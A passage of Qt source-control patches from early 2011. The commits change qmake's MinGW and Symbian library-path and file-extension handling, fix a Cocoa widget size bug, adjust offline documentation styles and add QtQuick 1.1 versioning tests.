    +            project->values("QMAKE_CFLAGS") += project->values("QMAKE_CFLAGS_SHLIB");
    +            project->values("QMAKE_CXXFLAGS") += project->values("QMAKE_CXXFLAGS_SHLIB");
    +        }
    +        if (project->isActiveConfig("plugin")) {
    +            project->values("QMAKE_CFLAGS") += project->values("QMAKE_CFLAGS_PLUGIN");
    +            project->values("QMAKE_CXXFLAGS") += project->values("QMAKE_CXXFLAGS_PLUGIN");
    +            project->values("QMAKE_LFLAGS") += project->values("QMAKE_LFLAGS_PLUGIN");
    +        } else {
    +            project->values("QMAKE_LFLAGS") += project->values("QMAKE_LFLAGS_SHLIB");
    +        }
    +    }
     }
     
     void Win32MakefileGenerator::fixTargetExt()
    -- 
    cgit v0.12
    
    
    From 3f00eed4c329670bf10640c43467cd122347e0d2 Mon Sep 17 00:00:00 2001
    From: axis 
    Date: Fri, 7 Jan 2011 08:24:41 +0100
    Subject: Added MinGW support for adding lib prefix and extension via profile.
    
    RevBy:    Oswald Buddenhagen
    ---
     mkspecs/win32-g++/qmake.conf           |  2 ++
     qmake/generators/win32/mingw_make.cpp  |  5 +----
     qmake/generators/win32/winmakefile.cpp | 22 +++++++++++++++++-----
     qmake/generators/win32/winmakefile.h   |  1 +
     4 files changed, 21 insertions(+), 9 deletions(-)
    
    diff --git a/mkspecs/win32-g++/qmake.conf b/mkspecs/win32-g++/qmake.conf
    index ec216aa..8e49b18 100644
    --- a/mkspecs/win32-g++/qmake.conf
    +++ b/mkspecs/win32-g++/qmake.conf
    @@ -62,6 +62,8 @@ QMAKE_LFLAGS_WINDOWS	= -Wl,-subsystem,windows
     QMAKE_LFLAGS_DLL        = -shared
     QMAKE_LINK_OBJECT_MAX	= 10
     QMAKE_LINK_OBJECT_SCRIPT= object_script
    +QMAKE_PREFIX_STATICLIB  = lib
    +QMAKE_EXTENSION_STATICLIB = a
     
     
     QMAKE_LIBS		=
    diff --git a/qmake/generators/win32/mingw_make.cpp b/qmake/generators/win32/mingw_make.cpp
    index 648776d..95795b8 100644
    --- a/qmake/generators/win32/mingw_make.cpp
    +++ b/qmake/generators/win32/mingw_make.cpp
    @@ -335,12 +335,9 @@ void MingwMakefileGenerator::init()
     void MingwMakefileGenerator::fixTargetExt()
     {
         if (project->isActiveConfig("staticlib") && project->first("TEMPLATE") == "lib") {
    -        project->values("TARGET_EXT").append(".a");
             project->values("QMAKE_LFLAGS").append("-static");
    -        project->values("TARGET").first() =  "lib" + project->first("TARGET");
    -    } else {
    -        Win32MakefileGenerator::fixTargetExt();
         }
    +    Win32MakefileGenerator::fixTargetExt();
     }
     
     void MingwMakefileGenerator::writeIncPart(QTextStream &t)
    diff --git a/qmake/generators/win32/winmakefile.cpp b/qmake/generators/win32/winmakefile.cpp
    index 8530825..a2f4c7b 100644
    --- a/qmake/generators/win32/winmakefile.cpp
    +++ b/qmake/generators/win32/winmakefile.cpp
    @@ -57,6 +57,14 @@ Win32MakefileGenerator::Win32MakefileGenerator() : MakefileGenerator()
     {
     }
     
    +void Win32MakefileGenerator::init()
    +{
    +    if (project->isEmpty("QMAKE_EXTENSION_STATICLIB"))
    +        project->values("QMAKE_EXTENSION_STATICLIB").append("lib");
    +    if (project->isEmpty("QMAKE_EXTENSION_SHLIB"))
    +        project->values("QMAKE_EXTENSION_SHLIB").append("lib");
    +}
    +
     int
     Win32MakefileGenerator::findHighestVersion(const QString &d, const QString &stem, const QString &ext)
     {
    @@ -365,12 +373,16 @@ void Win32MakefileGenerator::processVars()
     
     void Win32MakefileGenerator::fixTargetExt()
     {
    -    if (!project->values("QMAKE_APP_FLAG").isEmpty())
    +    if (!project->values("QMAKE_APP_FLAG").isEmpty()) {
             project->values("TARGET_EXT").append(".exe");
    -    else if (project->isActiveConfig("shared"))
    -        project->values("TARGET_EXT").append(project->first("TARGET_VERSION_EXT") + ".dll");
    -    else
    -        project->values("TARGET_EXT").append(".lib");
    +    } else if (project->isActiveConfig("shared")) {
    +        project->values("TARGET_EXT").append(project->first("TARGET_VERSION_EXT") + "."
    +                + project->first("QMAKE_EXTENSION_SHLIB"));
    +        project->values("TARGET").first() = project->first("QMAKE_PREFIX_SHLIB") + project->first("TARGET");
    +    } else {
    +        project->values("TARGET_EXT").append("." + project->first("QMAKE_EXTENSION_STATICLIB"));
    +        project->values("TARGET").first() = project->first("QMAKE_PREFIX_STATICLIB") + project->first("TARGET");
    +    }
     }
     
     void Win32MakefileGenerator::processRcFileVar()
    diff --git a/qmake/generators/win32/winmakefile.h b/qmake/generators/win32/winmakefile.h
    index 5437524..0e95beb 100644
    --- a/qmake/generators/win32/winmakefile.h
    +++ b/qmake/generators/win32/winmakefile.h
    @@ -59,6 +59,7 @@ class Win32MakefileGenerator : public MakefileGenerator
     public:
         Win32MakefileGenerator();
         ~Win32MakefileGenerator();
    +    void init();
     protected:
         virtual QString defaultInstall(const QString &);
         virtual void writeCleanParts(QTextStream &t);
    -- 
    cgit v0.12
    
    
    From 63c02607744fd5431132c6ea4f44380e6e20e12f Mon Sep 17 00:00:00 2001
    From: axis 
    Date: Fri, 28 Jan 2011 10:27:33 +0100
    Subject: Fixed GCCE libdir handling if the paths have spaces in them.
    
    RevBy:    Trust me
    ---
     mkspecs/symbian-gcce/qmake.conf | 18 +++++++++---------
     1 file changed, 9 insertions(+), 9 deletions(-)
    
    diff --git a/mkspecs/symbian-gcce/qmake.conf b/mkspecs/symbian-gcce/qmake.conf
    index a31e6e4..3992681 100644
    --- a/mkspecs/symbian-gcce/qmake.conf
    +++ b/mkspecs/symbian-gcce/qmake.conf
    @@ -72,16 +72,16 @@ QMAKE_LFLAGS += --target1-abs \
     QMAKE_LIBDIR	+= $${EPOCROOT}epoc32/release/armv5/udeb/
     
     # g++ knows the path to the gcc-shipped-libs, ld doesn't. So cache the full path in the generate Makefile
    -QMAKE_GCC_SEARCH_DIRS =$$system($$QMAKE_CXX -print-search-dirs)
    -for(line, QMAKE_GCC_SEARCH_DIRS) {
    -    contains(line, "libraries:") {
    -        foundIt="1"
    -    } else {
    -        contains(foundIt, "1") {
    -            QMAKE_LFLAGS += $$replace(line, "[=:]", " -L")
    -        }
    -    }
    +QMAKE_GCC_SEARCH_DIRS = $$system($$QMAKE_CXX -print-search-dirs)
    +QMAKE_GCC_SEARCH_DIRS = "$$join(QMAKE_GCC_SEARCH_DIRS, " ")"
    +QMAKE_GCC_SEARCH_DIRS = $$replace(QMAKE_GCC_SEARCH_DIRS, ".*libraries: *", "")
    +QMAKE_GCC_SEARCH_DIRS = $$replace(QMAKE_GCC_SEARCH_DIRS, "=", "")
    +contains(QMAKE_HOST.os,Windows) {
    +    QMAKE_GCC_SEARCH_DIRS = $$split(QMAKE_GCC_SEARCH_DIRS, ;)
    +} else {
    +    QMAKE_GCC_SEARCH_DIRS = $$split(QMAKE_GCC_SEARCH_DIRS, :)
     }
    +for(line, QMAKE_GCC_SEARCH_DIRS):QMAKE_LIBDIR += $$line
     
     QMAKE_LIBDIR += $${EPOCROOT}epoc32/release/armv5/lib
     
    -- 
    cgit v0.12
    
    
    From 8a443d2695344f26b9adf4310672e1a5fd62aeb5 Mon Sep 17 00:00:00 2001
    From: axis 
    Date: Fri, 28 Jan 2011 10:28:23 +0100
    Subject: Made qmake strip trailing \ from libdirs.
    
    This was done because trailing \ would confuse the command line
    parser if the path was also quoted.
    
    RevBy:    Oswald Buddenhagen
    ---
     qmake/generators/win32/mingw_make.cpp | 5 ++++-
     1 file changed, 4 insertions(+), 1 deletion(-)
    
    diff --git a/qmake/generators/win32/mingw_make.cpp b/qmake/generators/win32/mingw_make.cpp
    index 95795b8..e4082cc 100644
    --- a/qmake/generators/win32/mingw_make.cpp
    +++ b/qmake/generators/win32/mingw_make.cpp
    @@ -381,8 +381,11 @@ void MingwMakefileGenerator::writeLibDirPart(QTextStream &t)
         QString libArg = QString::fromLatin1("-L");
         if (project->isActiveConfig("rvct_linker"))
             libArg = QString::fromLatin1("--userlibpath ");
    -    for (int i = 0; i < libDirs.size(); ++i)
    +    for (int i = 0; i < libDirs.size(); ++i) {
             libDirs[i].remove("\"");
    +        if (libDirs[i].endsWith("\\"))
    +            libDirs[i].chop(1);
    +    }
         t << valGlue(libDirs, libArg+quote, quote+" "+libArg+quote, quote) << " ";
     }
     
    -- 
    cgit v0.12
    
    
    From 47ae1acdd9b6caaa8626e58fc97888dfdc821fe1 Mon Sep 17 00:00:00 2001
    From: Richard Moe Gustavsen 
    Date: Fri, 28 Jan 2011 13:36:27 +0100
    Subject: Cocoa/Alien: fix qgraphicseffectsource autotest
    
    The test discovered a serious bug where we for alien widgets on mac
    returned a zero sized paintdevice. The reason is that we used to
    ask the nsview backing the widget for its size, but with alien, there
    where no such view. Very strange that this was not seen visually for
    any of the many applications tested. This patch does the same
    implementation strategy as found in QWidget::metric in qwidget_x11.cpp
    ---
     src/gui/kernel/qwidget_mac.mm | 13 ++++++++-----
     1 file changed, 8 insertions(+), 5 deletions(-)
    
    diff --git a/src/gui/kernel/qwidget_mac.mm b/src/gui/kernel/qwidget_mac.mm
    index 1a1bb6e..3ba12cd 100644
    --- a/src/gui/kernel/qwidget_mac.mm
    +++ b/src/gui/kernel/qwidget_mac.mm
    @@ -4858,16 +4858,19 @@ int QWidget::metric(PaintDeviceMetric m) const
         case PdmWidthMM:
             return qRound(metric(PdmWidth) * 25.4 / qreal(metric(PdmDpiX)));
         case PdmHeight:
    -    case PdmWidth: {
    +    case PdmWidth:
     #ifndef QT_MAC_USE_COCOA
    -        HIRect rect;
    +        { HIRect rect;
             HIViewGetFrame(qt_mac_nativeview_for(this), &rect);
    -#else
    -        NSRect rect = [qt_mac_nativeview_for(this) frame];
    -#endif
             if(m == PdmWidth)
                 return (int)rect.size.width;
             return (int)rect.size.height; }
    +#else
    +        if (m == PdmWidth)
    +            return data->crect.width();
    +        else
    +            return data->crect.height();
    +#endif
         case PdmDepth:
             return 32;
         case PdmNumColors:
    -- 
    cgit v0.12
    
    
    From c40ae86025856225e74289249ecc509bf61dc9ba Mon Sep 17 00:00:00 2001
    From: Shane Kearns 
    Date: Fri, 28 Jan 2011 14:52:41 +0100
    Subject: Fix for linux build error
    
    ---
     tests/auto/qscopedvaluerollback/tst_qscopedvaluerollback.cpp | 2 +-
     1 file changed, 1 insertion(+), 1 deletion(-)
    
    diff --git a/tests/auto/qscopedvaluerollback/tst_qscopedvaluerollback.cpp b/tests/auto/qscopedvaluerollback/tst_qscopedvaluerollback.cpp
    index fac5702..956253f 100644
    --- a/tests/auto/qscopedvaluerollback/tst_qscopedvaluerollback.cpp
    +++ b/tests/auto/qscopedvaluerollback/tst_qscopedvaluerollback.cpp
    @@ -200,4 +200,4 @@ void tst_QScopedValueRollback::earlyExitScope_helper(int exitpoint, int& member)
     }
     
     QTEST_MAIN(tst_QScopedValueRollback)
    -#include "tst_QScopedValueRollback.moc"
    +#include "tst_qscopedvaluerollback.moc"
    -- 
    cgit v0.12
    
    
    From be4d3182e48dcae70837f26d76dd449d914e8cb3 Mon Sep 17 00:00:00 2001
    From: Miikka Heikkinen 
    Date: Fri, 28 Jan 2011 16:32:33 +0200
    Subject: Fix generated mif file cleaning in symbian-abld
    
    Mif file cleaning was incorrectly done at distclean phase.
    
    Task-number: QTBUG-16893
    Reviewed-by: axis
    ---
     mkspecs/features/symbian/application_icon.prf | 2 +-
     qmake/generators/symbian/symmake_abld.cpp     | 4 +++-
     2 files changed, 4 insertions(+), 2 deletions(-)
    
    diff --git a/mkspecs/features/symbian/application_icon.prf b/mkspecs/features/symbian/application_icon.prf
    index b6be89b..06f5b31 100644
    --- a/mkspecs/features/symbian/application_icon.prf
    +++ b/mkspecs/features/symbian/application_icon.prf
    @@ -71,7 +71,7 @@ contains(CONFIG, no_icon) {
                     mifconv.depends = $$ICON
                     PRE_TARGETDEPS += $$mifconv.target
                     QMAKE_EXTRA_TARGETS += mifconv
    -                QMAKE_DISTCLEAN += $$mifconv.target
    +                QMAKE_CLEAN += $$mifconv.target
                 }
                 # Rules to use generated MIF file from symbian resources
                 RSS_RULES.number_of_icons = $$size(ICON_backslashed)
    diff --git a/qmake/generators/symbian/symmake_abld.cpp b/qmake/generators/symbian/symmake_abld.cpp
    index 5729e26..b582257 100644
    --- a/qmake/generators/symbian/symmake_abld.cpp
    +++ b/qmake/generators/symbian/symmake_abld.cpp
    @@ -190,6 +190,7 @@ void SymbianAbldMakefileGenerator::writeWrapperMakefile(QFile& wrapperFile, bool
         t << "QMAKE             = " << var("QMAKE_QMAKE") << endl;
         t << "DEL_FILE          = " << var("QMAKE_DEL_FILE") << endl;
         t << "DEL_DIR           = " << var("QMAKE_DEL_DIR") << endl;
    +    t << "DEL_TREE          = " << var("QMAKE_DEL_TREE") << endl;
         t << "MOVE              = " << var("QMAKE_MOVE") << endl;
         t << "CHK_DIR_EXISTS    = " << var("QMAKE_CHK_DIR_EXISTS") << endl;
         t << "MKDIR             = " << var("QMAKE_MKDIR") << endl;
    @@ -329,7 +330,8 @@ void SymbianAbldMakefileGenerator::writeWrapperMakefile(QFile& wrapperFile, bool
             // Note: EXTENSION_CLEAN will get called many times when doing reallyclean
             //       This is why the "2> NUL" gets appended to generated clean targets in makefile.cpp.
             t << EXTENSION_CLEAN ": " COMPILER_CLEAN_TARGET << endl;
    -        generateCleanCommands(t, dirsToClean, var("QMAKE_DEL_TREE"), "", "", "");
    +        generateCleanCommands(t, dirsToClean, "$(DEL_TREE)", "", "", "");
    +        generateCleanCommands(t, project->values("QMAKE_CLEAN"), "$(DEL_FILE)", "", "", "");
             t << endl;
     
             t << PRE_TARGETDEPS_TARGET ":"
    -- 
    cgit v0.12
    
    
    From 05d8caa4c42b5539d993a898830307c21cb942b6 Mon Sep 17 00:00:00 2001
    From: Carlos Manuel Duclos Vergara 
    Date: Fri, 28 Jan 2011 15:03:32 +0100
    Subject: Incorrect comparison result in QString::locale
    
    The problem is that we are not able to set the locale in Symbian,
    therefore this test becomes unreliable since it depends on a particular
    locale being defined. We are disabling this test for now.
    
    Task-number: QTBUG-16921
    Reviewed-by: Shane Kearns
    ---
     tests/auto/qstring/tst_qstring.cpp | 4 ++++
     1 file changed, 4 insertions(+)
    
    diff --git a/tests/auto/qstring/tst_qstring.cpp b/tests/auto/qstring/tst_qstring.cpp
    index 969521f..abc8d9a 100644
    --- a/tests/auto/qstring/tst_qstring.cpp
    +++ b/tests/auto/qstring/tst_qstring.cpp
    @@ -4319,6 +4319,9 @@ void tst_QString::localeAwareCompare_data()
     
     void tst_QString::localeAwareCompare()
     {
    +#ifdef Q_OS_SYMBIAN
    +    QSKIP("QTBUG-16921: There is no way to set up the system locale, so this test is not reliable in Symbian.");
    +#else
     #ifdef Q_OS_WIN
     #   ifndef Q_OS_WINCE
            QSKIP("On others than Win CE, we cannot set the system or user locale.", SkipAll);
    @@ -4416,6 +4419,7 @@ void tst_QString::localeAwareCompare()
         if (!locale.isEmpty())
     	    setlocale(LC_ALL, "");
     #endif
    +#endif // Q_OS_SYMBIAN
     }
     
     void tst_QString::split_data()
    -- 
    cgit v0.12
    
    
    From 9a436bdd776337c71d4cc4ef9836328a6e691b66 Mon Sep 17 00:00:00 2001
    From: David Boddie 
    Date: Fri, 28 Jan 2011 20:24:13 +0100
    Subject: Doc: Fixed the qthelp namespace for the Qt documentation.
    
    This may need to be cherry-picked into the 4.7.2 release.
    ---
     tools/qdoc3/test/qt-project.qdocconf | 2 +-
     1 file changed, 1 insertion(+), 1 deletion(-)
    
    diff --git a/tools/qdoc3/test/qt-project.qdocconf b/tools/qdoc3/test/qt-project.qdocconf
    index ca7caa9..3ed7cff 100644
    --- a/tools/qdoc3/test/qt-project.qdocconf
    +++ b/tools/qdoc3/test/qt-project.qdocconf
    @@ -15,7 +15,7 @@ naturallanguage         = en_US
     qhp.projects            = Qt
     
     qhp.Qt.file                = qt.qhp
    -qhp.Qt.namespace           = com.trolltech.qt.471
    +qhp.Qt.namespace           = com.trolltech.qt.472
     qhp.Qt.virtualFolder       = qdoc
     qhp.Qt.indexTitle          = Qt Reference Documentation
     qhp.Qt.indexRoot           =
    -- 
    cgit v0.12
    
    
    From d6d94fc75535874cef0c69ce14e03ecd726efa00 Mon Sep 17 00:00:00 2001
    From: David Boddie 
    Date: Fri, 28 Jan 2011 20:25:19 +0100
    Subject: Doc: Added a missing style sheet to the qhp manifest.
    
    This may need to be cherry-picked into the 4.7.2 release.
    ---
     tools/qdoc3/test/qt-html-templates.qdocconf | 2 +-
     1 file changed, 1 insertion(+), 1 deletion(-)
    
    diff --git a/tools/qdoc3/test/qt-html-templates.qdocconf b/tools/qdoc3/test/qt-html-templates.qdocconf
    index 12588f9..e2d2b4a 100644
    --- a/tools/qdoc3/test/qt-html-templates.qdocconf
    +++ b/tools/qdoc3/test/qt-html-templates.qdocconf
    @@ -51,4 +51,4 @@ qhp.Qt.extraFiles = index.html \
                         images/bullet_up.png \
                         images/horBar.png \
                         images/sprites-combined.png \
    -                    style/style.css
    +                    style/offline.css
    -- 
    cgit v0.12
    
    
    From 4722183a17ac0074a82a16983a51689642af802b Mon Sep 17 00:00:00 2001
    From: David Boddie 
    Date: Fri, 28 Jan 2011 20:26:15 +0100
    Subject: Doc: Adjusted the font sizes for the offline documentation.
    
    ---
     doc/src/template/style/offline.css | 21 ++++++++++-----------
     1 file changed, 10 insertions(+), 11 deletions(-)
    
    diff --git a/doc/src/template/style/offline.css b/doc/src/template/style/offline.css
    index fe9aa13..4083a75 100644
    --- a/doc/src/template/style/offline.css
    +++ b/doc/src/template/style/offline.css
    @@ -72,11 +72,10 @@
             font-style: italic;
         }
     
    -    /* adding Qt theme */
         body
         {
             margin-left: 0.5em;
    -        margin-right: 0.5em
    +        margin-right: 0.5em;
         }
         a
         {
    @@ -202,15 +201,15 @@
         .heading
         {
             font-weight: bold;
    -        font-size: 160%;
    +        font-size: 125%;
         }
         .subtitle
         {
    -        font-size: 130%
    +        font-size: 110%
         }
         .small-subtitle
         {
    -        font-size: 130%
    +        font-size: 100%
         }
         .red
         {
    @@ -232,7 +231,7 @@
         {
             color: #00732F;
             font-weight: bold;
    -        font-size: 180%;
    +        font-size: 130%;
         }
     
         .header .content
    @@ -310,19 +309,19 @@
         .content h1
         {
             font-weight: bold;
    -        font-size: 180%
    +        font-size: 150%
         }
     
         .content h2
         {
             font-weight: bold;
    -        font-size: 160%;
    +        font-size: 135%;
             width: 100%;
         }
         .content h3
         {
             font-weight: bold;
    -        font-size: 1.4em;
    +        font-size: 120%;
             width: 100%;
         }
         .content table p
    @@ -429,7 +428,7 @@
         .qmltype
         {
             text-align: center;
    -        font-size: 160%;
    +        font-size: 120%;
         }
         .qmlreadonly
         {
    @@ -594,7 +593,7 @@
         }
         .small
         {
    -        font-size: 0.75em;
    +        font-size: 0.5em;
         }
     /* end footer elements */
     
    -- 
    cgit v0.12
    
    
    From f5aba1e2a59c4d8c15206f740d51d82ab26e3688 Mon Sep 17 00:00:00 2001
    From: Sergio Ahumada 
    Date: Fri, 28 Jan 2011 23:29:30 +0100
    Subject: Replace all occurances of "Qt 4.7" with "QtQuick 1.0"
    
    Task-number: QTBUG-13799
    ---
     doc/src/snippets/declarative/transitions-list.qml | 2 +-
     1 file changed, 1 insertion(+), 1 deletion(-)
    
    diff --git a/doc/src/snippets/declarative/transitions-list.qml b/doc/src/snippets/declarative/transitions-list.qml
    index 0467de2..cd413cc 100644
    --- a/doc/src/snippets/declarative/transitions-list.qml
    +++ b/doc/src/snippets/declarative/transitions-list.qml
    @@ -38,7 +38,7 @@
     **
     ****************************************************************************/
     
    -import Qt 4.7
    +import QtQuick 1.0
     
     Rectangle {
       width: 150; height: 250
    -- 
    cgit v0.12
    
    
    From f5f2f4d1cda47ba67e821495da0a9707c10a708c Mon Sep 17 00:00:00 2001
    From: Martin Jones 
    Date: Mon, 31 Jan 2011 09:36:52 +1000
    Subject: Use qobject_cast rather than dynamic_cast.
    
    To complile on platforms without rtti.
    
    Reviewed-by: Michael Brasser
    ---
     src/declarative/qml/qdeclarativeenginedebug.cpp | 6 +++---
     1 file changed, 3 insertions(+), 3 deletions(-)
    
    diff --git a/src/declarative/qml/qdeclarativeenginedebug.cpp b/src/declarative/qml/qdeclarativeenginedebug.cpp
    index 3863385..8c7f3ad 100644
    --- a/src/declarative/qml/qdeclarativeenginedebug.cpp
    +++ b/src/declarative/qml/qdeclarativeenginedebug.cpp
    @@ -327,7 +327,7 @@ void QDeclarativeEngineDebugServer::buildStatesList(QDeclarativeContext *ctxt, b
     
     void QDeclarativeEngineDebugServer::buildStatesList(QObject *obj)
     {
    -    if (QDeclarativeState *state = dynamic_cast(obj)) {
    +    if (QDeclarativeState *state = qobject_cast(obj)) {
                 m_allStates.append(state);
         }
     
    @@ -589,7 +589,7 @@ void QDeclarativeEngineDebugServer::setBinding(int objectId,
     
             } else {
                 // not a valid property
    -            if (QDeclarativePropertyChanges *propertyChanges = dynamic_cast(object)) {
    +            if (QDeclarativePropertyChanges *propertyChanges = qobject_cast(object)) {
                     if (isLiteralValue) {
                         propertyChanges->changeValue(propertyName, expression);
                     } else {
    @@ -637,7 +637,7 @@ void QDeclarativeEngineDebugServer::resetBinding(int objectId, const QString &pr
                     }
                 }
             } else {
    -            if (QDeclarativePropertyChanges *propertyChanges = dynamic_cast(object)) {
    +            if (QDeclarativePropertyChanges *propertyChanges = qobject_cast(object)) {
                     propertyChanges->removeProperty(propertyName);
                 }
             }
    -- 
    cgit v0.12
    
    
    From 2b337d8cbe8e6646ec78b3acaad50ce108d33dc0 Mon Sep 17 00:00:00 2001
    From: Martin Jones 
    Date: Mon, 31 Jan 2011 13:29:05 +1000
    Subject: Add missing versioning tests for new QtQuick 1.1 properties/methods.
    
    Task-number: QTBUG-15489
    Reviewed-by: Bea Lam
    ---
     .../tst_qdeclarativeborderimage.cpp                | 41 ++++++++++++++++++
     .../tst_qdeclarativepositioners.cpp                | 48 +++++++++++++++++++++-
     .../qdeclarativetext/tst_qdeclarativetext.cpp      | 24 ++++++++++-
     .../tst_qdeclarativetextedit.cpp                   | 16 +++++++-
     .../tst_qdeclarativetextinput.cpp                  | 46 +++++++++++++++++++++
     5 files changed, 171 insertions(+), 4 deletions(-)
    
    diff --git a/tests/auto/declarative/qdeclarativeborderimage/tst_qdeclarativeborderimage.cpp b/tests/auto/declarative/qdeclarativeborderimage/tst_qdeclarativeborderimage.cpp
    index 9a9d22b..d85b92a 100644
    --- a/tests/auto/declarative/qdeclarativeborderimage/tst_qdeclarativeborderimage.cpp
    +++ b/tests/auto/declarative/qdeclarativeborderimage/tst_qdeclarativeborderimage.cpp
    @@ -86,6 +86,8 @@ private slots:
         void invalidSciFile();
         void pendingRemoteRequest();
         void pendingRemoteRequest_data();
    +    void testQtQuick11Attributes();
    +    void testQtQuick11Attributes_data();
     
     private:
         QDeclarativeEngine engine;
    @@ -380,6 +382,45 @@ void tst_qdeclarativeborderimage::pendingRemoteRequest_data()
         QTest::newRow("sci file") << "http://localhost/none.sci";
     }
     
    +void tst_qdeclarativeborderimage::testQtQuick11Attributes()
    +{
    +    QFETCH(QString, code);
    +    QFETCH(QString, warning);
    +    QFETCH(QString, error);
    +
    +    QDeclarativeEngine engine;
    +    QObject *obj;
    +
    +    QDeclarativeComponent valid(&engine);
    +    valid.setData("import QtQuick 1.1; BorderImage { " + code.toUtf8() + " }", QUrl(""));
    +    obj = valid.create();
    +    QVERIFY(obj);
    +    QVERIFY(valid.errorString().isEmpty());
    +    delete obj;
    +
    +    QDeclarativeComponent invalid(&engine);
    +    invalid.setData("import QtQuick 1.0; BorderImage { " + code.toUtf8() + " }", QUrl(""));
    +    QTest::ignoreMessage(QtWarningMsg, warning.toUtf8());
    +    obj = invalid.create();
    +    QCOMPARE(invalid.errorString(), error);
    +    delete obj;
    +}
    +
    +void tst_qdeclarativeborderimage::testQtQuick11Attributes_data()
    +{
    +    QTest::addColumn("code");
    +    QTest::addColumn("warning");
    +    QTest::addColumn("error");
    +
    +    QTest::newRow("mirror") << "mirror: true"
    +        << "QDeclarativeComponent: Component is not ready"
    +        << ":1 \"BorderImage.mirror\" is not available in QtQuick 1.0.\n";
    +
    +    QTest::newRow("cache") << "cache: true"
    +        << "QDeclarativeComponent: Component is not ready"
    +        << ":1 \"BorderImage.cache\" is not available in QtQuick 1.0.\n";
    +}
    +
     QTEST_MAIN(tst_qdeclarativeborderimage)
     
     #include "tst_qdeclarativeborderimage.moc"
    diff --git a/tests/auto/declarative/qdeclarativepositioners/tst_qdeclarativepositioners.cpp b/tests/auto/declarative/qdeclarativepositioners/tst_qdeclarativepositioners.cpp
    index 6365ce5..40e533d 100644
    --- a/tests/auto/declarative/qdeclarativepositioners/tst_qdeclarativepositioners.cpp
    +++ b/tests/auto/declarative/qdeclarativepositioners/tst_qdeclarativepositioners.cpp
    @@ -87,6 +87,8 @@ private slots:
         void test_flow_implicit_resize();
         void test_conflictinganchors();
         void test_vertical_qgraphicswidget();
    +    void testQtQuick11Attributes();
    +    void testQtQuick11Attributes_data();
     private:
         QDeclarativeView *createView(const QString &filename);
     };
    @@ -1070,7 +1072,7 @@ void interceptWarnings(QtMsgType type, const char *msg)
     
     void tst_QDeclarativePositioners::test_conflictinganchors()
     {
    -    qInstallMsgHandler(interceptWarnings);
    +    QtMsgHandler oldMsgHandler = qInstallMsgHandler(interceptWarnings);
         QDeclarativeEngine engine;
         QDeclarativeComponent component(&engine);
     
    @@ -1151,6 +1153,7 @@ void tst_QDeclarativePositioners::test_conflictinganchors()
         item = qobject_cast(component.create());
         QVERIFY(item);
         QCOMPARE(warningMessage, QString("file::2:1: QML Flow: Cannot specify anchors for items inside Flow"));
    +    qInstallMsgHandler(oldMsgHandler);
     }
     
     void tst_QDeclarativePositioners::test_vertical_qgraphicswidget()
    @@ -1195,6 +1198,49 @@ void tst_QDeclarativePositioners::test_vertical_qgraphicswidget()
         delete canvas;
     }
     
    +void tst_QDeclarativePositioners::testQtQuick11Attributes()
    +{
    +    QFETCH(QString, code);
    +    QFETCH(QString, warning);
    +    QFETCH(QString, error);
    +
    +    QDeclarativeEngine engine;
    +    QObject *obj;
    +
    +    QDeclarativeComponent valid(&engine);
    +    valid.setData("import QtQuick 1.1; " + code.toUtf8(), QUrl(""));
    +    obj = valid.create();
    +    QVERIFY(obj);
    +    QVERIFY(valid.errorString().isEmpty());
    +    delete obj;
    +
    +    QDeclarativeComponent invalid(&engine);
    +    invalid.setData("import QtQuick 1.0; " + code.toUtf8(), QUrl(""));
    +    QTest::ignoreMessage(QtWarningMsg, warning.toUtf8());
    +    obj = invalid.create();
    +    QCOMPARE(invalid.errorString(), error);
    +    delete obj;
    +}
    +
    +void tst_QDeclarativePositioners::testQtQuick11Attributes_data()
    +{
    +    QTest::addColumn("code");
    +    QTest::addColumn("warning");
    +    QTest::addColumn("error");
    +
    +    QTest::newRow("Flow.layoutDirection") << "Flow { layoutDirection: Qt.LeftToRight }"
    +        << "QDeclarativeComponent: Component is not ready"
    +        << ":1 \"Flow.layoutDirection\" is not available in QtQuick 1.0.\n";
    +
    +    QTest::newRow("Row.layoutDirection") << "Row { layoutDirection: Qt.LeftToRight }"
    +        << "QDeclarativeComponent: Component is not ready"
    +        << ":1 \"Row.layoutDirection\" is not available in QtQuick 1.0.\n";
    +
    +    QTest::newRow("Grid.layoutDirection") << "Grid { layoutDirection: Qt.LeftToRight }"
    +        << "QDeclarativeComponent: Component is not ready"
    +        << ":1 \"Grid.layoutDirection\" is not available in QtQuick 1.0.\n";
    +}
    +
     QDeclarativeView *tst_QDeclarativePositioners::createView(const QString &filename)
     {
         QDeclarativeView *canvas = new QDeclarativeView(0);
    diff --git a/tests/auto/declarative/qdeclarativetext/tst_qdeclarativetext.cpp b/tests/auto/declarative/qdeclarativetext/tst_qdeclarativetext.cpp
    index 8111cd2..320a6e7 100644
    --- a/tests/auto/declarative/qdeclarativetext/tst_qdeclarativetext.cpp
    +++ b/tests/auto/declarative/qdeclarativetext/tst_qdeclarativetext.cpp
    @@ -470,6 +470,8 @@ void tst_qdeclarativetext::alignments()
             QCOMPARE(actual,expect);
         }
     #endif
    +
    +    delete canvas;
     }
     
     //the alignment tests may be trivial o.oa
    @@ -962,6 +964,8 @@ void tst_qdeclarativetext::QTBUG_12291()
         QDeclarativeText *text = ob->findChild("text");
         QVERIFY(text);
         QVERIFY(text->boundingRect().isValid());
    +
    +    delete canvas;
     }
     
     class EventSender : public QGraphicsItem
    @@ -1054,6 +1058,8 @@ void tst_qdeclarativetext::embeddedImages()
             QCOMPARE(textObject->width(), 16.0); // default size of QTextDocument broken image icon
             QCOMPARE(textObject->height(), 16.0);
         }
    +
    +    delete textObject;
     }
     
     void tst_qdeclarativetext::lineCount()
    @@ -1081,6 +1087,8 @@ void tst_qdeclarativetext::lineCount()
         QCOMPARE(myText->lineCount(), 2);
         QCOMPARE(myText->truncated(), true);
         QCOMPARE(myText->maximumLineCount(), 2);
    +
    +    delete canvas;
     }
     
     void tst_qdeclarativetext::lineHeight()
    @@ -1112,6 +1120,8 @@ void tst_qdeclarativetext::lineHeight()
         myText->setLineHeightMode(QDeclarativeText::PixelHeight);
         myText->setLineHeight(10);
         QCOMPARE(myText->height(), myText->lineCount() * 10.0);
    +
    +    delete canvas;
     }
     
     void tst_qdeclarativetext::implicitSize_data()
    @@ -1175,9 +1185,21 @@ void tst_qdeclarativetext::testQtQuick11Attributes_data()
             << "QDeclarativeComponent: Component is not ready"
             << ":1 \"Text.maximumLineCount\" is not available in QtQuick 1.0.\n";
     
    -    QTest::newRow("truncated") << "property int foo: lineCount"
    +    QTest::newRow("lineHeight") << "lineHeight: 2"
    +        << "QDeclarativeComponent: Component is not ready"
